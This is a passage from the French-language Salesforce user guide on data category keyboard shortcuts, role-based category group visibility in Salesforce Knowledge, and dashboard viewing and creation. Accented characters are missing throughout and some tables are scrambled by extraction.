Le mappage sur un rle est supprim. Les utilisateurs de ce rle perdent toute visibilit des articles qui contenaient la
catgorie.

Catgories de donnes

Guide de l'utilisateur | Raccourcis clavier pour les catgories de donnes | 1342

Important: Modifiez la hirarchie des catgories lorsque l'activit des utilisateurs est faible. Le processus
d'enregistrement peut entraner des calculs longs, complexes et ncessiter un dlai important. Durant ce processus,
les utilisateurs peuvent rencontrer des problmes de performances en recherchant des articles ou en utilisant des listes
droulantes de catgories. En vue de limiter tout dsagrment ventuel, planifiez la modification de catgories lorsque
le systme est peu utilis.

Voir aussi :
Que sont les catgories de donnes ?
Gestion des catgories de donnes
Ajout de catgories de donnes
Modification et positionnement des catgories
Raccourcis clavier pour les catgories de donnes

Raccourcis clavier pour les catgories de donnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

Les raccourcis clavier prsents ci-dessous permettent d'acclrer l'utilisation de catgories de donnes.
Tche

Action

Raccourci clavier

Ajout d'une catgorie

Ajouter un semblable la catgorie slectionne

ENTRE

Ajouter un enfant la catgorie slectionne

ENTRE+TABULATION

Fermer le champ Ajouter une catgorie

CHAP

Enregistrer les modifications dans le champ Ajouter

une catgorie

ENTRE

Modification d'une catgorie

Ouvrir le champ Modifier la catgorie pour la catgorie BARRE D'ESPACEMENT

slectionne
Fermer le champ Modifier la catgorie

CHAP

Enregistrer les modifications dans le champ Modifier ENTRE

la catgorie
Rtrogradation ou promotion
d'une catgorie

Rtrograder d'un niveau une catgorie, qui devient

l'enfant de son semblable actuel

TABULATION

Catgories de donnes

Tche

Guide de l'utilisateur | Raccourcis clavier pour les catgories de donnes | 1343

Action

Raccourci clavier

Promouvoir d'un niveau une catgorie, qui devient le MAJ+TABULATION

semblable de son parent actuel
Dplacement de catgories

Suppression d'une catgorie

Slectionner individuellement plusieurs catgories

CTRL+Clic

Slectionner plusieurs catgories en tant que groupe

MAJ+Clic

Supprimer la catgorie slectionne et ses enfants

SUPPR

Navigation dans la hirarchie de Dplacer la slection vers le haut dans la hirarchie de FLCHE HAUT
catgories
catgories
Dplacer la slection vers le bas dans la hirarchie de FLCHE BAS
catgories

Modification

Rduire les enfants dans une catgorie parent

FLCHE GAUCHE

Dvelopper les enfants dans une catgorie parent

FLCHE DROITE

Annuler la dernire action

CTRL+Z

Rpter la dernire action

CTRL+Y

Enregistrer les modifications dans la hirarchie de

catgories

CTRL+S

Voir aussi :
Gestion des catgories de donnes
Ajout de catgories de donnes
Modification et positionnement des catgories
Suppression de catgories de donnes

Catgories de donnes

Guide de l'utilisateur | Vue d'ensemble des paramtres de visibilit des groupes de catgories | 1344

Vue d'ensemble des paramtres de visibilit des groupes

de catgories
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les dtails d'un rle :

Afficher la configuration

Pour modifier et supprimer des rles :

Grer les utilisateurs

Pour afficher les utilisateurs :

Afficher la configuration

Pour modifier les utilisateurs :

Grer les utilisateurs

Pour afficher les catgories :

Afficher les catgories de donnes

Remarque: Les paramtres de visibilit de groupes de catgories sont disponible uniquement dans la base de
connaissances Salesforce Knowledge, qui ncessite des licences de fonctionnalit Utilisateur de la base de connaissances.
Pour plus d'informations sur l'achat de licences de fonctionnalit, contactez salesforce.com.
Les catgories (et par consquent les articles) que l'utilisateur peut afficher dpendent du rle de l'utilisateur. Vous mappez
des groupes de catgories avec des rles sur la base d'un rle par rle. Ces mappages sont appels paramtres de visibilit de
groupes de catgories. Les paramtres de visibilit des groupes de catgories diffrent du modle de partage gnral de
Salesforce.com. Pour une explication des diffrences, reportez-vous la rubrique Diffrences entre la visibilit de catgories
et les autres modles Salesforce.com la page 1349.
Application des paramtres de visibilit
Pour permettre aux agents de support et aux clients de recevoir un large ventail d'informations pertinentes, les paramtres de
visibilit des groupes de catgories sont interprts trs librement. Une fois dfinie comme visible par un rle, une catgorie
ainsi que ses descendants directs (anctres, parent immdiat, enfant principal, autres descendants) sont tous visibles pour les
utilisateurs ayant ce rle. Prenons par exemple le hirarchie de catgories Europe > France > Paris. Si France est la catgorie
visible slectionne pour votre rle, vous pouvez afficher les articles classs dans Europe, France, Paris ou dans toute autre
catgorie disposant d'une relation verticale directe avec France.
Les paramtres de visibilit de groupes de catgories sont appliqus sous l'onglet Articles, sous l'onglet Gestion des articles,
dans le Portail client et dans la base de connaissances. Dans les zones ci-dessous, les utilisateurs voient uniquement les catgories
(ou les articles qu'elles contiennent) qu'ils sont autoriss afficher :

Le menu droulant de la catgorie

La vue de liste article
Sous l'onglet Gestion des articles, la bote de dialogue d'application de catgories aux articles

Paramtres de visibilit par dfaut

Par dfaut, lorsque vous crez un groupe de catgories, les utilisateurs peuvent afficher toutes les catgories qu'il contient.

Catgories de donnes

Guide de l'utilisateur | Vue d'ensemble des paramtres de visibilit des groupes de catgories | 1345

Hritage des paramtres de visibilit

Les rles enfant hritent des paramtres de leur rle parent et sont synchroniss lorsque le rle parent change. Vous pouvez
personnaliser et rduire la visibilit du rle enfant, mais lorsque vous l'augmentez, vous ne pouvez pas dpasser la visibilit du
rle parent.
Visibilit des articles classs
Un utilisateur peut afficher un article s'il peut voir au moins une catgorie par groupe de catgories de l'article. Par exemple,
supposons qu'un article est class dans Lorraine et Bretagne dans le groupe de catgories Gographie, et dans Ordinateurs de
bureau dans le groupe de catgories Produits. Si vous disposez d'une visibilit sur Bretagne et Ordinateurs de bureau mais pas
sur Lorraine, vous pouvez afficher l'article. Si vous ne disposez pas de visibilit Lorraine ou Bretagne mais vous en disposez
sur Ordinateurs de bureau, vous ne pouvez pas afficher l'article. Si vous disposez d'une visibilit sur Lorraine mais pas sur
Ordinateurs de bureau, vous ne pouvez pas afficher l'article.
Visibilit revoque
La visibilit d'un rle peut tre rvoque (dfinie sur Aucune) pour un groupe de catgories particulier. Les utilisateurs ayant
ce rle peuvent afficher uniquement les articles qui ne sont pas classs dans une catgorie de ce groupe de catgories. Par
exemple, si un utilisateur a une visibilit rvoque sur le groupe de catgories Gographie et une dispose d'une visibilit sur la
catgorie Ordinateurs de bureau du groupe de catgories Produits, il peut afficher uniquement les articles qui n'ont aucune
catgorie dans Gographie et qui sont classs dans Ordinateurs de bureau (ou dans l'un des anctres ou descendants de
Ordinateurs de bureau).

Voir aussi :
Gestion des catgories de donnes
Affichage des paramtres de visibilit de groupes de catgories des rles
Modification des paramtres de visibilit de groupes de catgories
Diffrences entre la visibilit de catgories et les autres modles Salesforce.com
Exemples de paramtres de visibilit de groupes de catgories

Catgories de donnes

Guide de l'utilisateur | Affichage des paramtres de visibilit de groupes de catgories des rles | 1346

Affichage des paramtres de visibilit de groupes de

catgories des rles
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les dtails d'un rle :

Afficher la configuration

Pour modifier et supprimer des rles :

Grer les utilisateurs

Pour afficher les utilisateurs :

Afficher la configuration

Pour modifier les utilisateurs :

Grer les utilisateurs

Pour afficher les catgories :

Afficher les catgories de donnes

Remarque: Les paramtres de visibilit de groupes de catgories sont disponible uniquement dans la base de
connaissances Salesforce Knowledge, qui ncessite des licences de fonctionnalit Utilisateur de la base de connaissances.
Pour plus d'informations sur l'achat de licences de fonctionnalit, contactez salesforce.com.
Les catgories (et par consquent les articles) que l'utilisateur peut afficher dpendent du rle de l'utilisateur. Vous mappez
des groupes de catgories avec des rles sur la base d'un rle par rle. Ces mappages sont appels paramtres de visibilit de
groupes de catgories. Pour comprendre les paramtres et leur impact, reportez-vous la rubrique Vue d'ensemble des paramtres
de visibilit des groupes de catgories la page 1344.

Affichage des paramtres de visibilit de groupes de catgories

d'un rle
Pour afficher les paramtres de visibilit d'un rle, cliquez sur Configuration Grer les utilisateurs Rles, puis slectionnez
un rle.
La liste associe Paramtres de visibilit de groupes de catgories rpertorie les catgories que peuvent afficher les utilisateurs
de ce rle, selon le groupe de catgories. Le tableau ci-dessous prsente les valeurs possibles dans la colonne Visibilit de la
liste associe :
Visibilit

Description

Toutes

Les utilisateurs peuvent afficher toutes les catgories du groupe

de catgories. Cette option est disponible uniquement pour
le rle suprieur dans la hirarchie des rles. Lorsque vous
crez un groupe de catgories, sa visibilit est dfinie par dfaut
sur Toutes pour le rle suprieur dans la hirarchie des rles
et tous les rles subordonns hritent de ce paramtre.

Hrit de...

Le rle hrite des paramtres de visibilit de son rle parent.

Si les paramtres du rle parent changent, le rle enfant suit.

Catgories de donnes

Guide de l'utilisateur | Modification des paramtres de visibilit de groupes de catgories | 1347

Visibilit

Description
Cliquez sur le nom du rle parent pour afficher ses paramtres
de visibilit de groupes de catgories.

Aucune

Les utilisateurs ne peuvent afficher aucune catgorie du groupe

de catgories.

Personnalis

Les utilisateurs peuvent afficher une slection de catgories

du groupe de catgories.

Dans la liste associe Paramtres de visibilit de groupes de catgories, vous pouvez effectuer les oprations suivantes :

Cliquer sur un groupe de catgories pour afficher les dtails de ses paramtres.
Cliquer sur Modifier en regard d'un groupe de catgories pour modifier ses paramtres de visibilit.

Voir aussi :
Gestion des catgories de donnes
Vue d'ensemble des paramtres de visibilit des groupes de catgories
Modification des paramtres de visibilit de groupes de catgories
Diffrences entre la visibilit de catgories et les autres modles Salesforce.com
Exemples de paramtres de visibilit de groupes de catgories

Modification des paramtres de visibilit de groupes de

catgories
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les dtails d'un rle :

Afficher la configuration

Pour modifier et supprimer des rles :

Grer les utilisateurs

Pour afficher les utilisateurs :

Afficher la configuration

Pour modifier les utilisateurs :

Grer les utilisateurs

Pour afficher les catgories :

Afficher les catgories de donnes

Remarque: Les paramtres de visibilit de groupes de catgories sont disponible uniquement dans la base de
connaissances Salesforce Knowledge, qui ncessite des licences de fonctionnalit Utilisateur de la base de connaissances.
Pour plus d'informations sur l'achat de licences de fonctionnalit, contactez salesforce.com.
Les catgories (et par consquent les articles) que l'utilisateur peut afficher dpendent du rle de l'utilisateur. Vous mappez
des groupes de catgories avec des rles sur la base d'un rle par rle. Ces mappages sont appels paramtres de visibilit de

Catgories de donnes

Guide de l'utilisateur | Modification des paramtres de visibilit de groupes de catgories | 1348

groupes de catgories. Pour comprendre les paramtres et leur impact, reportez-vous la rubrique Vue d'ensemble des paramtres
de visibilit des groupes de catgories la page 1344.
Pour modifier un paramtre de visibilit de groupes de catgories d'un rle, procdez comme suit :
1. Cliquez sur Configuration Gestion des utilisateurs Rle.
2. Slectionnez un rle.
3. Dans la liste associe Paramtres de visibilit des groupes de catgories, cliquez sur Modifier en regard du groupe de
catgories modifier. Vous pouvez galement cliquer sur un groupe de catgories, puis sur Modifier.
4. Slectionnez un paramtre de visibilit :
Paramtre de
visibilit

Description

Toutes

Les utilisateurs peuvent afficher toutes les catgories du groupe de catgories. Cette option est
disponible uniquement pour le rle suprieur dans la hirarchie des rles.Lorsque vous crez un
groupe de catgories, sa visibilit est dfinie par dfaut sur Toutes pour le rle suprieur et tous les
rles subordonns hritent de ce paramtre.

Hrit de...

Le rle hrite des paramtres de visibilit de son rle parent. Si les paramtres du rle parent changent,
le rle enfant suit. Cliquez sur le nom du rle parent pour afficher ses paramtres de visibilit de
groupes de catgories.

Aucune

Les utilisateurs ne peuvent afficher aucune catgorie du groupe de catgories.

Personnalis

Les utilisateurs voient votre slection personnalise de catgories. Vous pouvez effectuer votre
slection parmi les catgories visibles par le rle parent. Si la visibilit du rle parent change et devient
infrieure la celle de son enfant, la visibilit des catgories du rle enfant est rinitialise et hrite
de la visibilit de son parent.
Pour slectionner des catgories, double-cliquez dessus dans la zone Catgories disponibles.
Vous pouvez galement slectionner une catgorie, puis cliquer sur Ajouter. La slection d'une
catgorie comprend implicitement ses catgories parent et enfant. Les catgories grises dans la zone
Toutes les catgories ne peuvent pas tre slectionnes car leur parent a dj t slectionn.
Remarque: Si vous personnalisez un rle dj dfini sur Toutes les catgories, vous devez
d'abord retirer Toutes de la zone Catgories slectionnes avant de slectionner
des catgories spcifiques.

5. Cliquez sur Enregistrer.

Conseils de mise en uvre

Lorsque vous crez un groupe de catgories, sa visibilit est dfinie par dfaut sur Toutes pour le rle suprieur dans la
hirarchie des rles et tous les rles subordonns hritent de ce paramtre.
Lorsque vous ajoutez une catgorie la visibilit d'un rle, vous accordez galement la visibilit ses catgories enfant et
parent. Pour accorder un rle l'accs toutes les catgories de la branche dans la hirarchie des catgories, slectionnez
la catgorie de niveau suprieur Toutes les catgories.
Les utilisateurs qui ne sont attribus aucun rle peuvent afficher uniquement les articles non classs, l'exception des
administrateurs, qui disposent de l'autorisation Afficher toutes les donnes .

Catgories de donnes

Guide de l'utilisateur | Diffrences entre la visibilit de catgories et les autres modles Salesforce.com | 1349

Un utilisateur du Portail client hrite du rle attribu son responsable de compte. Par consquent, la visibilit sur les
catgories de l'utilisateur du Portail client et de son responsable de compte sont identiques.

Les meilleures pratiques

Laissez vos groupes de catgories dsactivs afin de configurer votre hirarchie de catgories et d'attribuer une visibilit
des catgories base sur un rle. Tant que vous n'activez pas manuellement un groupe de catgories, il ne s'affiche pas en
tant que menu droulant dans l'onglet Articles ou Gestion des articles, dans la base de connaissances de votre entreprise
ou dans son Portail client.
Configurez toujours la visibilit de groupes de catgories selon une approche de haut en bas dans la hirarchie des rles.
Accordez la plus large visibilit au rle suprieur et une visibilit limite aux rles subordonns.

Voir aussi :
Gestion des catgories de donnes
Vue d'ensemble des paramtres de visibilit des groupes de catgories
Affichage des paramtres de visibilit de groupes de catgories des rles
Diffrences entre la visibilit de catgories et les autres modles Salesforce.com
Exemples de paramtres de visibilit de groupes de catgories

Diffrences entre la visibilit de catgories et les autres

modles Salesforce.com
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Remarque: Les paramtres de visibilit de groupes de catgories sont disponible uniquement dans la base de
connaissances Salesforce Knowledge, qui ncessite des licences de fonctionnalit Utilisateur de la base de connaissances.
Pour plus d'informations sur l'achat de licences de fonctionnalit, contactez salesforce.com.
Les catgories (et par consquent les articles) que l'utilisateur peut afficher dpendent du rle de l'utilisateur. Vous mappez
des groupes de catgories avec des rles sur la base d'un rle par rle. Ces mappages sont appels paramtres de visibilit de
groupes de catgories. Ces paramtres sont uniques pour les articles et diffrent des autres modles Salesforce.com :
Exclusivit des articles
L'accs aux articles est dtermin par les paramtres de visibilit des groupes de catgories. Les articles sont des objets
standard, mais ils ne disposent pas de paramtres par dfaut l'chelle de l'organisation, de rgles de partage, de partage
manuel des enregistrements ou d'autorisations au niveau objet telles que Crer ou Lire .
Accs bas sur le rle
Les paramtres de visibilit de groupes de catgories sont bass sur des rles, pas sur des utilisateurs individuels ou des
groupes d'utilisateurs. Les rles enfant ne peuvent pas afficher plus de catgories que leur rle parent. Pour modifier la
visibilit d'un utilisateur sur des catgories, et par consquent sur les articles qu'elles contiennent, vous devez modifier
les paramtres de visibilit du rle actuel de l'utilisateur ou dplacer l'utilisateur vers un autre rle.

Catgories de donnes

Guide de l'utilisateur | Exemples de paramtres de visibilit de groupes de catgories | 1350

Interprtation large des paramtres de visibilit

Pour permettre aux agents de support et aux clients de recevoir un large ventail d'informations pertinentes, les paramtres
de visibilit des groupes de catgories sont interprts trs librement. Une fois dfinie comme visible par un rle, une
catgorie ainsi que ses descendants directs (anctres, parent immdiat, enfant principal, autres descendants) sont tous
visibles pour les utilisateurs ayant ce rle. Prenons par exemple le hirarchie de catgories Europe > France > Paris. Si
France est la catgorie visible slectionne pour votre rle, vous pouvez afficher les articles classs dans Europe, France,
Paris ou dans toute autre catgorie disposant d'une relation verticale directe avec France.

Voir aussi :
Gestion des catgories de donnes
Vue d'ensemble des paramtres de visibilit des groupes de catgories
Affichage des paramtres de visibilit de groupes de catgories des rles
Modification des paramtres de visibilit de groupes de catgories
Exemples de paramtres de visibilit de groupes de catgories

Exemples de paramtres de visibilit de groupes de

catgories
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Remarque: Les paramtres de visibilit de groupes de catgories sont disponible uniquement dans la base de
connaissances Salesforce Knowledge, qui ncessite des licences de fonctionnalit Utilisateur de la base de connaissances.
Pour plus d'informations sur l'achat de licences de fonctionnalit, contactez salesforce.com.
Les catgories (et par consquent les articles) que l'utilisateur peut afficher dpendent du rle de l'utilisateur. Vous mappez
des groupes de catgories avec des rles sur la base d'un rle par rle. Ces mappages sont appels paramtres de visibilit de
groupes de catgories. Les exemples suivants prsentent des hirarchies de rles, des hirarchies de catgories de donnes et des
paramtres de visibilit de catgories :
Exemple d'une hirarchie de rles
Cet exemple prsente ine organisation qui fournit des services et du matriel au grand public et aux entreprises. Le service
Ingnierie est organis par type de produit (groupe de catgories Produits). Le service d'assistance pour l'Europe et l'Amrique
(groupe de catgories Gographie) est gr par des quipes internes l'entreprise, mais il est sous-trait pour l'Asie. Les quipes
de l'entreprise et sous-traites disposent de plusieurs quipes secondaires ddies l'assistance des consommateurs ou des
entreprises.
Tableau 1: Exemple d'une hirarchie de rles
Rle

Catgories visibles dans

Gographie

Catgories visibles dans

Produits

AcmeElectronics.com

Tous les pays

Tous les produits

Catgories de donnes

Guide de l'utilisateur | Exemples de paramtres de visibilit de groupes de catgories | 1351

Rle

Catgories visibles dans

Gographie

Catgories visibles dans

Produits

1) Vice-prsident de l'Ingnierie

Tous les pays

Tous les produits

Hrite de AcmeElectronics.com

Hrite de AcmeElectronics.com

1.1) quipe d'ingnierie pour la grande consommation Tous les pays

1.2) quipe d'ingnierie pour les entreprises

1.3) quipe d'ingnierie pour les ordinateurs

2) Vice-prsident de l'Assistance

2.1) Vice-prsident de l'Assistance entreprise

2.1.1) Directeur de l'Assistance consommateur

Hrite du Vice-prsident de
l'Ingnierie

Personnalis

Tous les pays

lectronique d'entreprise

Hrite du Vice-prsident de
l'Ingnierie

Personnalis

Tous les pays

Ordinateurs

Hrite du Vice-prsident de
l'Ingnierie

Personnalis

Tous les pays

Tous les produits

Hrite de AcmeElectronics.com

Hrite de AcmeElectronics.com

Europe, Amrique

Tous les produits

Personnalis

Hrite du Vice-prsident de
l'Assistance

Europe, Amrique

lectronique grand public,

Ordinateurs

Hrite du Vice-prsident de
l'Assistance entreprise
2.1.2) Directeur de l'Assistance entreprise

Europe, Amrique
Hrite du Vice-prsident de
l'Assistance entreprise

2.2) Assistance sous-traite

2.2.1) quipe d'assistance consommateur

lectronique grand public

Personnalis
lectronique entreprise,
Ordinateurs
Personnalis

Asie

Tous les produits

Personnalis

Hrite du Vice-prsident de
l'Assistance

Asie

lectronique grand public,

Ordinateurs

Hrite de l'Assistance sous-traite

Personnalis
2.2.2) quipe d'assistance entreprise

Asie
Hrite de l'Assistance sous-traite

lectronique entreprise,
Ordinateurs
Personnalis

Catgories de donnes

Guide de l'utilisateur | Exemples de paramtres de visibilit de groupes de catgories | 1352

Groupe de catgories et visibilit des articles

Les articles disponibles pour un utilisateur dans l'onglet Articles et Gestion des articles sont dfinis par son rle. La base de
connaissances Salesforce Knowledge compare le classement des articles avec la visibilit de l'utilisateur et applique les rgles
suivantes :
Lorsqu'une catgorie est attribue une visibilit de rle, ses catgories parent et enfant sont implicitement incluses
L'Utilisateur 2 peut afficher les articles classs dans Tous les pays, car cette catgorie est le parent de la catgorie Amrique.
Il peut galement afficher les Articles classs dans tats-Unis car cette catgorie est enfant de Amrique.
La visibilit doit tre accorde au rle de l'utilisateur dans chaque groupe de catgories dans lequel l'article est class.
Si le classement de l'article ne correspond pas la visibilit du rle dans au moins un groupe de catgories, les utilisateurs
ayant ce rle ne peuvent pas afficher l'article. L'Utilisateur 1 peut afficher les articles classs dans Europe car cette catgorie
est enfant de Tous les pays. Cependant, il ne peut pas afficher les articles classs dans Commutateurs, car cette catgorie
appartient un secteur diffrent de Ordinateurs. Pour cette raison, l'Utilisateur 1 ne peut pas afficher les articles classs
dans Europe/Commutateurs.
Si un rle n'a pas accs l'ensemble du groupe de catgories, il peut afficher uniquement les articles classs hors de
ce groupe.
L'Utilisateur 5 ne peut pas afficher les articles classs dans Tous les pays/Ordinateurs portables car il ne dispose d'aucune
visibilit sur le groupe de catgories qui comprend Ordinateurs portables. Il peut toutefois afficher les articles classs
dans Europe/Aucune catgorie.
Tableau 2: Visibilit de l'utilisateur et classement des articles
Classement des
articles

Utilisateur 1 (Tous Utilisateur 2

les
(Amrique/Tous
pays/Ordinateurs) les pays)

Utilisateur 3
Utilisateur 4
Utilisateur 5
(tats-Unis et
(France/Commutateurs) (France/Aucun)
Royaume-Uni/Ordinateurs
portables)

Tous les
pays/Ordinateurs
portables

VISIBLE

VISIBLE

VISIBLE

PAS VISIBLE

PAS VISIBLE

Canada/Ordinateurs VISIBLE

VISIBLE

PAS VISIBLE

PAS VISIBLE

PAS VISIBLE

tats-Unis/Tous
les produits

VISIBLE

VISIBLE

PAS VISIBLE

PAS VISIBLE

Europe/Commutateurs PAS VISIBLE

PAS VISIBLE

PAS VISIBLE

VISIBLE

PAS VISIBLE

Europe/Aucune
catgorie

PAS VISIBLE

VISIBLE

VISIBLE

VISIBLE

VISIBLE

VISIBLE

Tableau 3: Catgories dans les groupes de catgories Produits et Gographie

Produits

Gographie

Tous les produits

Tous les pays

1) lectronique grand public

1) Amrique

1.1) Appareils photo

1.1) tats-Unis

1.2) Audio

1.2) Canada

1.3) Imprimantes

1.3) Brsil

Catgories de donnes

Guide de l'utilisateur | Exemples de paramtres de visibilit de groupes de catgories | 1353

Produits

Gographie

2) lectronique entreprise

2) Asie

2.1) Routeurs

2.1) Chine

2.2) Commutateurs

2.2) Japon

2.3) PEX

2.3) Inde

3) Ordinateurs

3) Europe

3.1) Ordinateurs portables

3.1) France

3.2) Ordinateurs du bureau

3.2) Royaume-Uni

3.3) Assistants personnels

3.3) Pologne

Voir aussi :
Gestion des catgories de donnes
Vue d'ensemble des paramtres de visibilit des groupes de catgories
Affichage des paramtres de visibilit de groupes de catgories des rles
Modification des paramtres de visibilit de groupes de catgories
Diffrences entre la visibilit de catgories et les autres modles Salesforce.com

Tableaux de bord
Prsentation des tableaux de bord
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les tableaux de bord :

Excution des rapports

AND
Autorisation d'afficher les dossiers de tableaux de bord

Pour crer, modifier et supprimer des tableaux de bord :

Excution des rapports

AND
Grer les tableaux de bord

Un tableau de bord est un ensemble de graphiques ou d'autres composants qui affiche sous un format graphique les donnes
de vos rapports personnaliss et vous donne un instantan en temps rel des chiffres et des principaux indicateurs de performances
de l'entreprise. Les graphiques doivent utiliser des rapports personnaliss ou matriciels. Vous pouvez slectionner jusqu' 20
rapports personnaliss ou pages Visualforce diffrents pour afficher chaque tableau de bord. Positionnez chaque composant
de tableau de bord dans une, deux ou trois colonnes (maximum).
Remarque: Les tableaux de bord stocks dans les entreprises Group Edition sont en lecture seule. Les utilisateurs ne
peuvent pas crer, modifier ou supprimer des tableaux de bord ou des composants de tableau de bord.

Affichage de l'onglet Tableaux de bord

Dans Salesforce.com, l'onglet Tableaux de bord s'affiche automatiquement pour toutes les organisations utilisant Group
Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition. Si l'onglet Tableaux de bord n'est
pas visible, personnalisez l'affichage en consquence.
Dans l'application cliente Salesforce Mobile, l'onglet Tableaux de bord indique si votre administrateur Salesforce.com a ajout
l'onglet votre configuration mobile.

Voir aussi :
Affichage de listes de tableaux de bord
Cration et modification de proprits de tableaux de bord
Modification de tableaux de bord
Suppression de tableaux de bord
Prsentation des rapports
Configuration de tableaux de bord mobiles
Fiche de conseil de l'administrateur : Conseils de cration de tableaux de bord

Tableaux de bord

Guide de l'utilisateur | Affichage de listes de tableaux de bord | 1355

Affichage de listes de tableaux de bord

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des listes de tableaux de bord :

Grer les tableaux de bord

La page de liste Tableaux de bord dresse la liste des tableaux de bord d'un dossier slectionn. Pour afficher la page de liste
des tableaux de bord, cliquez sur l'onglet Tableaux de bord, puis sur Aller la liste du tableau de bord. partir de la page de
liste, vous pouvez effectuer les oprations suivantes :

Choisissez un dossier pour afficher la liste des tableaux de bord stocks dans ce dossier.
Cliquez sur le nom d'un tableau de bord pour afficher celui-ci.
Cliquez sur Modifier en regard d'un tableau de bord pour modifier ses composants. Lorsque vous modifiez un tableau de
bord, vous pouvez aussi modifier ses proprits ; reportez-vous Cration et modification de proprits de tableaux de
bord la page 1357.
Cliquez sur Suppr en regard d'un tableau de bord pour le supprimer du dossier. Cette opration supprime de faon
permanente le tableau de bord, qui ne peut pas tre rcupr au moyen de la Corbeille.
Cliquez sur un en-tte de colonne pour trier les tableaux de bord par ordre croissant en fonction des informations de cette
colonne. Cliquez de nouveau sur l'en-tte de colonne pour trier les tableaux de bord par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre
et qui se trouve dans le dossier slectionn.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de tableaux de bord suivant ou prcdent.
Au bas de la liste des tableaux de bord, slectionnez moins ou plus pour afficher une liste plus courte ou plus longue. Ceci
s'affiche uniquement si le nombre de tableaux de bord est suprieur au nombre pouvant tenir sur une page.
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un noms
de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Remarque: Si vous ne trouvez pas un tableau de bord, il se peut que vous n'ayez pas accs au dossier qui le contient.
Reportez-vous Gestion des dossiers la page 573 pour plus d'informations sur les dossiers.
Les utilisateurs disposant d'une licence de plate-forme Salesforce.com ou Salesforce Platform One ne peuvent afficher
un tableau de bord que si l'utilisateur actuel du tableau de bord dispose du mme type de licence utilisateur.
Ils ne peuvent ni modifier ni crer de tableaux de bord.

Tableaux de bord

Guide de l'utilisateur | Affichage de tableaux de bord | 1356

Affichage de tableaux de bord

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les tableaux de bord :

Excution des rapports

AND
Autorisation d'afficher les dossiers de tableaux de bord

Pour afficher des listes de tableaux de bord :

Grer les tableaux de bord

Pour crer, modifier et supprimer des tableaux de bord :

Excution des rapports

AND
Grer les tableaux de bord

Un clic sur l'onglet Tableaux de bord permet d'afficher le dernier tableau de bord consult. Si c'est la premire fois que vous
affichez l'onglet Tableaux de bord, vous y verrez apparatre le dernier tableau de bord cr. Les donnes du tableau de bord
sont aussi actuelles que la date Comme affiche au sommet du tableau de bord.

Pour afficher un tableau de bord diffrent, utilisez la liste droulante normale ou la Recherche de tableaux de bord. Si la
Recherche de tableaux de bord est active, commencez saisir le nom du tableau de bord dans la case de filtre, puis
slectionnez un tableau de bord dans la liste des rsultats. La liste Afficher le tableau de bord comprend les
tableaux de bord de tous les dossiers de tableaux de bord auxquels vous avez accs.
Remarque: Les utilisateurs disposant d'une licence de plate-forme Salesforce.com ou Salesforce Platform One ne
peuvent afficher un tableau de bord que si l'utilisateur actuel du tableau de bord dispose du mme type de
licence utilisateur. Ils ne peuvent ni modifier ni crer de tableaux de bord.

Cliquez sur Modifier pour apporter des changements un tableau de bord. Lors de la modification d'un tableau de bord,
vous pouvez galement modifier ses proprits.
Cliquez sur Cloner pour crer un tableau de bord avec les mmes proprits que le tableau de bord existant.
Cliquez sur Actualiser pour rafrachir les donnes affiches dans le tableau de bord.
Les utilisateurs des versions Enterprise Edition et Unlimited Edition peuvent planifier les actualisations du tableau de
bord.

Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un noms
de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Cliquez sur Aller la liste du tableau de bord pour afficher la liste de vos tableaux de bord.
Pour certains types de graphique, cliquez sur le composant de tableau de bord pour afficher les dtails du rapport utilis
pour le crer.

Tableaux de bord

Guide de l'utilisateur | Cration et modification de proprits de tableaux de bord | 1357

Remarque: Les tableaux de bord stocks dans les entreprises Group Edition sont en lecture seule. Les utilisateurs ne
peuvent pas crer, modifier ou supprimer des tableaux de bord ou des composants de tableau de bord.

Voir aussi :
Modification de tableaux de bord

Cration et modification de proprits de tableaux de bord

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les proprits de tableaux de bord :

Grer les tableaux de bord

Avant de commencer, crez les rapports personnaliss incluant les donnes que vous souhaitez afficher dans les tableaux de
bord. Les rapports personnaliss pour les tableaux de bord ne diffrent pas des autres rapports personnaliss que vous crez,
l'exception prs que vous devez rsumer ou grouper les donnes pour obtenir des graphiques plus russis. Veillez conserver
les rapports dans un dossier public. Certains rapports personnaliss sur les pistes et les prvisions ne sont pas pris en compte
dans les tableaux de bord. Reportez-vous Personnalisation des rapports la page 1716 pour obtenir des instructions sur la
cration de rapports personnaliss.
1. Cliquez sur l'onglet Tableaux de bord.
2. Cliquez sur Aller la liste du tableau de bord.
3. Cliquez sur Nouveau tableau de bord pour crer un nouveau tableau de bord. Vous pouvez galement cliquer sur Ajouter
tableau de bord exemple pour ajouter deux nouveaux rapports personnaliss votre dossier de rapports personnaliss et
ajouter un tableau de bord exemple au dossier slectionn.
Pour modifier les proprits d'un tableau de bord existant, cliquez sur Modifier en regard du nom du tableau de bord et
choisissez Modifier les proprits.
4. Saisissez le nom et la description du tableau de bord.
